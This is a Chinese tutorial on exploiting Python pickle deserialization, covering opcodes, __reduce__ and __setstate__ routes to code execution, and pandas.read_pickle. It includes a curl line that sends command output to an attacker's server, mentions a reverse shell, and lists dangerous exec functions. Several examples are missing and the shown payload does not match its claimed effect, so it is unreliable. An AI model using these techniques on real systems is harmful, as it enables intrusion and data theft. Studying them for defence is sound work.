python反序列化

1.          PVM

对于Python而言,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。

PVM的执行流程

当运行Python程序时,PVM会执行两个步骤。

1.    PVM会把源代码编译成字节码

字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .

2.    Python进程会把编译好的字节码转发到PVM(Python虚拟机)中,PVM会循环迭代执行字节码指令,直到所有操作被完成。

PVM与Pickle模块的关系

Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .

这个轻量级的PVM由三部分组成:

  • 指令处理器( Instruction processor )

从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack和 memo区域的值 .直到遇到 .这个结束符号 。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。

  • 栈区( stack )

由 Python的列表( list)实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

  • 标签区(存储区---memo )

由 Python的字典( dict)实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中,以便使用。

  • 指令处理器可读的操作码(稍重要)
  1. c: (称为GLOBAL操作符)读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object作为可调用对象压入到栈中
  2. (: 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
  3. S: 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
  4. t: 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
  5. R: 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中
  6. .: 结束整个 Pickle反序列化过程

简单说来就是:

  1. c:以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行。
  2. (:相当于左括号
  3. t:相当于右括号
  4. S:表示本行的内容一个字符串
  5. R:执行紧靠自己左边的一个括号对( 即( 和t之间)的内容
  6. .:代表该pickle结束
2.          Pickle作用

在一些场景下,可能会需要把一些内容存储起来,以备后续利用。如果要存储的内容只是一条字符串或是数字,那只需要把它写进文件就行。然而,如果需要存储的东西是一个dict、一个list,甚至一个对象:

class dairy():

    date = 20200922

text = " 北京"

todo = [' 大', 'CTF', '金融']

today = dairy()

要把这样的dairy实例today存放在文件里,还要支持以后的随时导入,就很麻烦。一般的做法是:通过一套方法,把这个today 翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成dairy类的一个实例。

“对象 -> 字符串”的翻译过程称为“序列化”;“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。

举个例子:

在这里,定义了一个很复杂的对象交给x,然后执行pickle.dumps(x),来把x翻译成字符串。接下来,又把这个字符串翻译成对象交给r,可以发现在r进行输出时已经是最开始打包的那个对象了。这就是pickle的意义。

pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()和pickle.load()

用语言来描述序列化和反序列化的过程:

1.序列化过程:

(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对

2.反序列化过程:

(1)获取 pickle 输入流
(2)重建属性列表
(3)根据类名创建一个新的对象
(4)将属性复制到新的对象中

注意:

这个对象只要能在当前环境下创建起来就能完成反序列化,否则则不能实现对象的重构

3.          Pickle.loads机制

pickle.loads是一个供调用的接口。其底层实现是基于_Unpickler类。代码实现如下:

可以看出,_load和_loads基本一致,都是把各自输入得到的东西作为文件流,传递到_Unpickler类;然后调用_Unpickler.load()实现反序列化。

4.          _Unpickler类

在反序列化过程中,_Unpickler维护了两个东西:栈区和存储区。结构如下:

栈是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。

存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是大多数情况下并不需要这个存储区。

整体来讲,就如同一台机器读取输入的字符串,然后操作自己内部维护的各种结构,最后输出一个结果。

5.          __reduce__方法

在python中,有几个内置方法会在对象被反序列化时调用,分别是__reduce__()  、reduce_ex() 、setstate(),而pickle的利用多数是在__reduce__方法上。它们干了这么一件事情:

取当前栈的栈顶记为args,然后把它弹掉。

取当前栈的栈顶记为f,然后把它弹掉。

以args为参数,执行函数f,把结果压进当前栈。

class的__reduce__方法,在pickle反序列化的时候会被执行。其底层的编码方法,就是利用了R指令码。 f要么返回字符串,要么返回一个tuple,后者对攻击者而言更有用。

一种很流行的攻击思路是:利用 reduce 构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。

给出一个例子:正常的字符串反序列化后,得到一个Student对象。在其中再构造一个字符串,它在反序列化的时候,执行ls /指令。那么只需要这样得到payload:

现在把payload拿给正常的程序(Student类里面没有__reduce__方法)去解析:

6.          其他方法RCE

之前说到过__reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么为了能够继续 RCE ,需要找到一个函数调用fun(arg),其中fun和arg都必须可控。

审pickle源码,来看看BUILD指令(指令码为b)是如何工作的:

这里的实现方式也就是刚刚提到的:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.dict 里面。

Student原先是没有__setstate__这个方法的。那么可以选择利用{'setstate': os.system}来构造这个对象,现在对象的__setstate__就变成了os.system;接下来利用"calc"来再次BUILD这个对象,则会执行setstate("calc") ,而此时__setstate__已经被设置为os.system,因此实现了RCE.

payload构造如下:

payload = b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x0fSerializePerson\x93)\x81}\x8c\x04name\x8c\x03tomsb.'

执行结果:

成功反弹出来了计算器,接下来可以通过反弹shell来控制靶机了。

7.          注意细节

一、其他模块的load也可以触发pickle反序列化漏洞。例如: pandas作为python里最为强大的数据分析和处理库,在几乎全版本中都存在pickle反序列化漏洞的问题。其中的接口 pandas.read_pickle(filename) 直接调用pickle.load()这个函数,实现读取pkl类型文件的功能。但是当读取的文件是恶意构造的对象时,就可以在目标应用中执行任意代码。

二、即使代码中没有import os,GLOBAL指令也可以自动导入os.system。因此,不能认为“不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。

三、即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,执行os.system('curl your_server/ls / | base64),然后查询自己的服务器日志,就能看到结果。这是因为:以`引号包含的代码,在sh中会直接执行,返回其结果。pickle.loads()时,命令结果被base64编码后发送给服务器;利用自己的服务器查看日志,就可以得到命令执行结果。因此,在没有回显的时候,可以通过curl把执行结果送到自己的服务器上。

8.          常用执行函数

eval, execfile, compile, open, file, map, input,

os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open,os.pipe,os.listdir, os.access,

os.execl, os.execle, os.execlp, os.execlpe, os.execv,

os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,

pickle.load, pickle.loads,cPickle.load,cPickle.loads,

subprocess.call,subprocess.check_call,subprocess.check_output,

subprocess.Popen, glob.glob,linecache.getline,

commands.getstatusoutput,commands.getoutput,commands.getstatus,

shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,

popen2.popen2,popen2.popen3,popen2.popen4,

timeit.timeit,timeit.repeat,sys.call_tracing,

code.interact,code.compile_command,codeop.compile_command,

pty.spawn,posixfile.open,posixfile.fileopen,platform.popen

9.          防御手段

1、用更高级的接口__getnewargs()、getstate()、setstate()等代替reduce()等有危险的魔术方法;

2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。

0
0
0
0
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论